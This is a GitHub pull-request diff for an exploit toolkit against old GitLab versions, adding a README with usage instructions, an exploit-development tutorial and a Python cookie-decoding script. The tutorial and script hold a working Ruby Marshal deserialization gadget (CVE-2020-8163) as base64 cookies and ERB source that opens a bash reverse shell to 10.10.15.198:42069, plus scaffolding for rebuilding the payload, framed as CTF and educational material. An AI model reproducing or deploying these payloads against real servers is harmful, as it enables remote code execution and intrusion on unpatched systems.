Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
90 changes: 90 additions & 0 deletions .gitignore
Original file line number Diff line number Diff line change
@@ -0,0 +1,90 @@
# ── Byte-compiled / optimised / DLL files ────────────────────────────────────
__pycache__/
*.py[cod]
*$py.class

# ── C extensions ─────────────────────────────────────────────────────────────
*.so

# ── Distribution / packaging ─────────────────────────────────────────────────
.Python
build/
develop-eggs/
dist/
downloads/
eggs/
.eggs/
lib/
lib64/
parts/
sdist/
var/
wheels/
share/python-wheels/
*.egg-info/
.installed.cfg
*.egg
MANIFEST

# ── Virtual environments ──────────────────────────────────────────────────────
.venv/
venv/
env/
ENV/
.env

# ── Installer logs ────────────────────────────────────────────────────────────
pip-log.txt
pip-delete-this-directory.txt

# ── Unit test / coverage ──────────────────────────────────────────────────────
htmlcov/
.tox/
.nox/
.coverage
.coverage.*
.cache
nosetests.xml
coverage.xml
*.cover
*.py,cover
.hypothesis/
.pytest_cache/
pytestdebug.log

# ── Type checkers ─────────────────────────────────────────────────────────────
.mypy_cache/
.dmypy.json
dmypy.json
.pytype/
.pyre/

# ── Linters / formatters ──────────────────────────────────────────────────────
.ruff_cache/

# ── Jupyter ───────────────────────────────────────────────────────────────────
.ipynb_checkpoints
*.ipynb

# ── Logs ─────────────────────────────────────────────────────────────────────
*.log
logs/

# ── Editor / IDE ─────────────────────────────────────────────────────────────
.idea/
.vscode/
*.swp
*.swo
*~
.ropeproject

# ── OS ───────────────────────────────────────────────────────────────────────
.DS_Store
Thumbs.db

# ── Project-specific ─────────────────────────────────────────────────────────
# Captured secrets / loot — never commit target data
loot/
output/
*.yml.loot
secrets.txt
52 changes: 34 additions & 18 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,26 +1,42 @@
# Gitlab RCE - Remote Code Execution
RCE for old gitlab version <= 11.4.7 & 12.4.0-12.8.1
# GitLab RCE / LFI

LFI for old gitlab versions 10.4 - 12.8.1
## Complete refactor code base

This is an exploit for old Gitlab versions. This shouldnt work in the wild but it still seems to be popular in CTFs.
Educational use only. Illegal things are illegal.
Functionality is broken up into modules for easy customization and separation of concerns

CVEs: CVE-2018-19571 (SSRF) + CVE-2018-19585 (CRLF) & CVE-2020-10977
Exploit toolkit for old GitLab versions. Primarily seen in CTFs — unlikely to
work against patched production instances. **Educational use only.**

credits:

https://www.youtube.com/watch?v=LrLJuyAdoAg - LiveOverflow
https://github.com/jas502n/gitlab-SSRF-redis-RCE - jas502n
https://hackerone.com/reports/827052 - vakzz
partly inspired by the gitlab RCE metasploit module

usage:

`python gitlab_rce.py <http://gitlab:port> <local-ip>`

You might or might not have to tweak this a bit.
## Affected versions

THERE ARE ~~ABSOLUTELY !!NO!!~~ ~~VERY~~ A FEW CHECKS OR ERROR HANDLING!
| Type | Versions |
|------|----------|
| RCE (Redis SSRF) | <= 11.4.7 |
| LFI + RCE (cookie deserialization) | 12.4.0 – 12.8.1 |
| LFI only | 10.4 – 12.8.1 |

needs a HUGE refactor some time in the future.
## CVEs

- [CVE-2018-19571](https://nvd.nist.gov/vuln/detail/CVE-2018-19571) — SSRF
- [CVE-2018-19585](https://nvd.nist.gov/vuln/detail/CVE-2018-19585) — CRLF injection
- [CVE-2020-10977](https://nvd.nist.gov/vuln/detail/CVE-2020-10977) — path traversal / LFI
- [CVE-2020-8163](https://nvd.nist.gov/vuln/detail/CVE-2020-8163) — RCE via ERB cookie deserialization

## Usage

```bash
pip install -r requirements.txt
chmod +x main.py
./main.py <http://gitlab:port> <local-ip>
```

You will be prompted to select an exploit and start a listener before delivery.

## Credits

- [LiveOverflow](https://www.youtube.com/watch?v=LrLJuyAdoAg)
- [jas502n](https://github.com/jas502n/gitlab-SSRF-redis-RCE)
- [vakzz — HackerOne #827052](https://hackerone.com/reports/827052)
- Partly inspired by the GitLab RCE Metasploit module
139 changes: 139 additions & 0 deletions exploit-dev/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,139 @@

# Hand-Rolling a GitLab Marshal Payload

This exercise helps you deeply understand the Ruby Marshal deserialization
gadget used in CVE-2020-8163 by building the payload **from scratch**.

### Goal

Write a function that generates a **valid Marshal blob** matching the one
produced by the real Rails console. Once the bytes match the known-good
reference, you can confidently sign and deliver it.

Afterwards, this completed exploit will go into `src/exploits/rce_1281.py`

---

### Step 1: Establish Ground Truth (Reference Payload)

Before writing any code, extract the exact Marshal bytes from a **known working
cookie** generated by the Rails console.

Run this script:

```python
import base64

cookie = "BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQk6DkBpbnN0YW5jZW86CEVSQgs6EEBzYWZlX2xldmVsMDoJQHNyY0kidyNjb2Rpbmc6VVRGLTgKX2VyYm91dCA9ICsnJzsgX2VyYm91dC48PCgoIGBiYXNoIC1jICdiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE1LjE5OC80MjA2OSAwPiYxJ2AgKS50b19zKTsgX2VyYm91dAY6BkVGOg5AZW5jb2RpbmdJdToNRW5jb2RpbmcKVVRGLTgGOwpGOhNAZnJvemVuX3N0cmluZzA6DkBmaWxlbmFtZTA6DEBsaW5lbm9pADoMQG1ldGhvZDoLcmVzdWx0OglAdmFySSIMQHJlc3VsdAY7ClQ6EEBkZXByZWNhdG9ySXU6H0FjdGl2ZVN1cHBvcnQ6OkRlcHJlY2F0aW9uAAY7ClQ="

raw = base64.b64decode(cookie)
print(f"Marshal payload length: {len(raw)} bytes")
print(f"Marshal payload hex (first 200 chars): {raw.hex()[:200]}...")
```

**Save this output** — this is your **ground truth**. Your function must
produce bytes that match this reference.

---

### Step 2: Understand the ERB Source (Critical Detail)

The working ERB template (what gets executed) looks like this:

```ruby
@src = "#coding:UTF-8\n_erbout = +''; _erbout.<<(( `bash -c 'bash -i >& /dev/tcp/10.10.15.198/42069 0>&1'` ).to_s); _erbout"
```

**Key requirement**: Your payload must wrap the reverse shell command in proper
ERB output tags: `<%= `command` %>`

---

### Step 3: Build the Payload Function (Scaffold)

Start with this clean boiler plate. Fill it in **step by step**.

```python
#!/usr/bin/env python3

def build_marshal_payload(attacker_ip: str, attacker_port: int) -> bytes:

# Step 1 — build the shell command string
cmd = "" # fill this in

# Step 2 — wrap it in ERB template syntax
erb_src = "" # fill this in

# Step 3 — encode to bytes and measure length
erb_bytes = b"" # fill this in
src_len = 0 # fill this in

# Step 4 — build the length prefix
len_prefix = b"" # fill this in

# Step 5 — concatenate the full Marshal blob
payload: bytes = b"" # fill this in

return payload


def main() -> None:
payload = build_marshal_payload("10.10.15.198", 42069)
print(f"payload length: {len(payload)}")
print(f"payload hex: {payload.hex()}")


if __name__ == "__main__":
main()
```

---

### Recommended Learning Path (Do This in Order)

1. **Start small**
Implement only **Step 1** and **Step 2**. Print `cmd` and `erb_src`. Verify they look correct.

2. **Add encoding & length** (Step 3)
Print `erb_bytes` and `src_len`.

3. **Add length prefix** (Step 4)
Print `len_prefix.hex()`.

4. **Assemble full payload** (Step 5)
Generate the complete blob and compare its hex against the ground truth from Step 1.

5. **Validate**
Once the lengths and beginning of the hex match the reference, you know your Marshal structure is correct.

---



### Bonus: Byte-by-Byte Analysis (For Deep Understanding)

Once you have a candidate payload, run this to inspect it like a binary:

```python
import base64

# Paste your generated payload here as raw bytes, or decode from cookie
raw = ... # your build_marshal_payload() output

for i, b in enumerate(raw):
char = chr(b) if 32 <= b < 127 else '.'
print(f"{i:3d} {b:02x} {b:3d} {char}")
```

This will show you exactly where the `@src` string lives, what the length byte is, and how the object graph is laid out.


---

This exploit dev tutorial implements a progressive flow

(why → reference → exercise → scaffold → verification),

improved readability, and better visual separation while preserving **all** original information.


75 changes: 75 additions & 0 deletions exploit-dev/base64-to-bin.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,75 @@
#!/usr/bin/env python3

import base64

"""
About the first two scripts
I left plenty of documentation to help guide you through the the exploit dev process.
Including some relevant related technical information.
But you can delete if you don't need it.

Step 1 in developing the exploit

Context to keep in mind
-----------------------
ERB = Embedded Ruby (ERB) is a template language used in Ruby on Rails.
This is a Ruby on Rails cookie from a GitLab instance.
Binary data in HTTP cookies is transported as Base64.
The Base64 decoded value is a Ruby Marshal stream —
which is a serialized object graph that Rails will reconstruct (deserialize) when it reads the cookie.



Questions to answer
-------------------
1. How is binary data transported in HTTP cookies?
-> Base64 encoding.

2. How to turn Base64 back into raw bytes in Python?
-> base64.b64decode()

3. You need a way to compare future payload against this reference.
What format is easiest to diff?
-> Hex dump + length. Same length + matching hex prefix = correct structure.


The Steps
-------------------
Step 1 — Decode the cookie from Base64 to raw bytes.
Those raw bytes ARE the Marshal stream.

Step 2 — Print the length.
The reconstructed payload must match this length.

Step 3 — Print the hex.
The reconstructed payload's hex must match this hex.

Step 4 — Print byte-by-byte with offset, hex, decimal, and ASCII.
This lets you find exactly where each field lives in the binary,
so you know what bytes to write in each section of my payload.
"""

# Cookie retrieved from the GitLab 12.8.1 Rails application (HTB: Laboratory)
# Generated via Rails console using the target's extracted secret_key_base
#NOTE: You will need to replace this with your own cookie
cookie_b64 = (
"BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQk6DkBpbnN0YW5jZW86CEVSQgs6EEBzYWZlX2xldmVsMDoJQHNyY0kidyNjb2Rpbmc6VVRGLTgKX2VyYm91dCA9ICsnJzsgX2VyYm91dC48PCooIGBiYXNoIC1jICdiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE1LjE5OC80MjA2OSAwPiYxJ2AgKS50b19zKTsgX2VyYm91dAY6BkVGOg5AZW5jb2RpbmdJdToNRW5jb2RpbmcKVVRGLTgGOwpGOhNAZnJvemVuX3N0cmluZzA6DkBmaWxlbmFtZTA6DEBsaW5lbm9pADoMQG1ldGhvZDoLcmVzdWx0OglAdmFySSIMQHJlc3VsdAY7ClQ6EEBkZXByZWNhdG9ySXU6H0FjdGl2ZVN1cHBvcnQ6OkRlcHJlY2F0aW9uAAY7ClQ="
)

# Decode Base64 → raw Marshal byte stream
# The cookie is Base64-encoded for HTTP transport — decoding reveals the
# binary Marshal object graph that Rails deserializes on the server side
marshal_bytes = base64.b64decode(cookie_b64)

# Ground truth length — reconstructed payload must match exactly
print(f"length: {len(marshal_bytes)}")

# Ground truth hex — reconstructed payload hex must match on all
# structural bytes outside the @src content
print(f"hex: {marshal_bytes.hex()}")






Loading